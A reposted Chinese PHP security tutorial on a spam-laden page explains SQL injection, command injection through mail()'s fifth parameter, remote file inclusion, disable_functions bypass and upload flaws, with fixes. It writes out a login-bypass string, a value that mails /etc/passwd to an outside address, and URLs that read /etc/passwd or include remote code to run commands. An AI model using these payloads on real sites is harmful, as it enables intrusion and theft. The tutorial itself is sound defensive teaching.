国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 開發(fā) > PHP > 正文

PHP網(wǎng)站開發(fā)過程的安全知識

2024-05-04 21:51:58
字體:
供稿:網(wǎng)友

1、古老的欺騙SQL語句

在默認模式下,即使是你忘了把php.ini拷到/usr/local/lib/php.ini下,php還是打開magic_quotes_gpc=on。

這樣所有從GET/POST/Cookie來的變量的單引號(')、雙引號(")、反斜杠backslash(/)以及空字元NUL

(the null byte)都會被加上反斜杠,以使數(shù)據(jù)庫能夠正確查詢。

但是在php-4-RC2的時候引入了一個配置文件php.ini-optimized,這個優(yōu)化的php.ini卻是

magic_quotes_gpc=off的。某些網(wǎng)管看到optimized字樣也許就會把php.ini-optimized拷到

/usr/local/lib/php.ini,這時就比較危險。象比較簡單的驗證,假設(shè)沒有過濾必要的字符:

select * from login where user='$HTTP_POST_VARS[user]' and pass='$HTTP_POST_VARS[pass]'

我們就可以在用戶框和密碼框輸入1‘ or 1='1通過驗證了。這是非常古董的方法了,這個語句會

替換成這樣:

select * from login where user='1' or 1='1' and pass='1' or 1='1'

因為or 1='1'成立,所以通過了。

解決的辦法最好就是過濾所有不必要的字符,還有就是推薦對于從GET/POST/Cookie來的并且用在SQL

中的變量加一個自定義的函數(shù):

function gpc2sql($str) {

if(get_magic_quotes_gpc()==1)

return $str;

else

return addslashes($str);

}

主要是為了你的程序能安全移植在各種系統(tǒng)里。

2、mail函數(shù)的第五個參數(shù)

在php-4.0.5的時候,mail函數(shù)引入了第五個參數(shù),用來設(shè)置在實際發(fā)送郵件的時候增加額外的命令行參數(shù),但是沒有很好的檢查特殊SHELL命令字符,所以出現(xiàn)執(zhí)行命令的大問題。就像手冊里的例子:

mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAM");

這個是存在問題的,如果$SERVER_NAME=;mail CuoXIn@CuoXIn.com < /etc/passwd就能把機器的密碼發(fā)送到我的信箱了。

這里提醒一下,php手冊里還有好幾個例子存在安全問題的,大家實際使用的時候不要照搬,它只是演示函數(shù)的基本功能,理解了就可以了。

對于mail函數(shù)的這個問題,最簡單的我們就不用這個第五個參數(shù),要使用就過濾非法的字符如(;),還有就是修改php源碼包的程序ext/standard/mail.c,在if (extra_cmd != NULL) { 前增加如下一行:

extra_cmd=NULL

然后重新編譯。

3、UNIX版的require, include函數(shù)

win版本的require和include函數(shù)是不支持HTTP和FTP遠程文件包含的,而UNIX版本默認都是支持遠程包含文件。

require和include不管你是什么擴展名的,把你包含進來就作為程序的一部分來執(zhí)行。

我們在寫程序的時候為了程序的模塊化,以及程序的可移植性,不可避免的用到很多require或include函數(shù),而且有時用變量作為參數(shù),比如:include("$something"); 如果這時用戶能控制$something參數(shù),而這個參數(shù)又沒有過濾,那就慘拉。

首先可以看任何web用戶有讀權(quán)限的文件,假設(shè)這個程序叫http://victim/test.php,這樣我們就可以用如下

url: http://victim/test.php?something=/etc/passwd 看到/etc/passwd文件。

另外可以利用其遠程文件包含的功能執(zhí)行命令。比如我在www.AAA.org下建立一個文件test.php,內(nèi)容是:

 

http://victim/test.php?something=http://www.xfocus.org/test.php?cmd=uname這種方式運行任

意的命令。

phpMyAdmin也出現(xiàn)了這個問題,我們可以用它看任何我們想看的文件。但是它在include前,先用file_exist函數(shù)判斷文件是否存在,而這個file_exist是不支持遠程文件的,所以上面第二種辦法無法直接使用。但是我們可以利用apache的日志功能,請求一個帶php代碼的url,這樣,something指定為apache的日志也可以執(zhí)行命令了,但是apache的日志通常比較大,有太多雜亂信息。

http://www.securereality.com.au/sradv00008.txt提到的辦法比較巧妙,用file upload的方式把本地的執(zhí)行命令的腳本上傳,會在服務(wù)器的文件上傳臨時目錄里產(chǎn)生php8Ta02I之類的文件名,由于這時文件是存在的,所以能通過file_exist函數(shù),從而執(zhí)行上傳文件里的執(zhí)行腳本。

所以對于include, require函數(shù)的使用一定要小心,特別是以包含的文件以參數(shù)指定這種方式,參數(shù)絕對不能讓用戶來控制。還有通過修改php.ini文件去掉遠程文件包含這個功能。這個在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen = off來關(guān)閉。

4、disable_function

在php-4.0.1,php.ini里引入了一項功能disable_functions , 這個功能比較有用,可以用它禁止一些函數(shù)。

比如在php.ini里加上disable_functions = passthru exec system popen 那么在執(zhí)行這些函數(shù)的時候只會提示W(wǎng)arning: system() has been disabled for security reasons.唉,但是也不是沒有辦法執(zhí)行系統(tǒng)命令了。因為php采用了很多perl的特性,比如還可以用(`)來執(zhí)行命令:

 

$output = `ls -al`;

echo "

$output
";

 

?>

這個只有設(shè)成safe_mode才能避免,可是可惡的safe_mode實在是限制太多了,做其它事情也有些礙手礙腳。

5、file upload

php文件上傳的問題在文章http://www.CuoXIn.com/htmldata/2007-06-23/1182581230.html里已經(jīng)描述的很清楚了,這的確是個比較嚴重的問題,一般我們要上傳的文件也會放在web目錄,所以容易給攻擊者得到系統(tǒng)的一些web用戶能讀的文件。

幸虧在php-4.0.3以后提供了is_uploaded_file和move_uploaded_file函數(shù)。所以php-4.0.3以上的上傳文件的程序一定不要再用copy函數(shù)了,用move_uploaded_file代替,它會檢查是否是上傳的文件。如果是php-4.0.2及以下的,建議在copy前加一個函數(shù):

function is_uploaded_file($filename) {

if (!$tmp_file = get_cfg_var('upload_tmp_dir')) {

$tmp_file = dirname(tempnam('', ''));

}

$tmp_file.='/'.basename($filename);

/* User might have trailing slash in php.ini... */

return (ereg_replace('/ ', '/', $tmp_file) == $filename);

}

這個漏洞在安全焦點呆了很久,只是在copy之前有很多驗證阿、判斷阿的語句,所以使之攻擊存在相當?shù)碾y度。

還有,千萬不要以環(huán)境變量、Cookie變量、session變量等作為關(guān)系生死的判斷條件,因為這些變量太容易被偽造了。

呵呵,手頭事情比較多,其它慢慢想到了再加吧,也歡迎其他同志任意的添加修改之。

發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 思茅市| 黑河市| 胶南市| 周至县| 垦利县| 新余市| 锡林郭勒盟| 西青区| 宝鸡市| 彰化县| 盘山县| 岱山县| 潜山县| 民权县| 汨罗市| 三亚市| 宜宾市| 古丈县| 苏州市| 乌拉特前旗| 赤水市| 滨海县| 浦北县| 辉南县| 三原县| 江陵县| 冀州市| 荆州市| 沐川县| 三亚市| 平乐县| 衡东县| 巴南区| 汉川市| 张家港市| 裕民县| 青浦区| 潼南县| 防城港市| 甘孜县| 巧家县|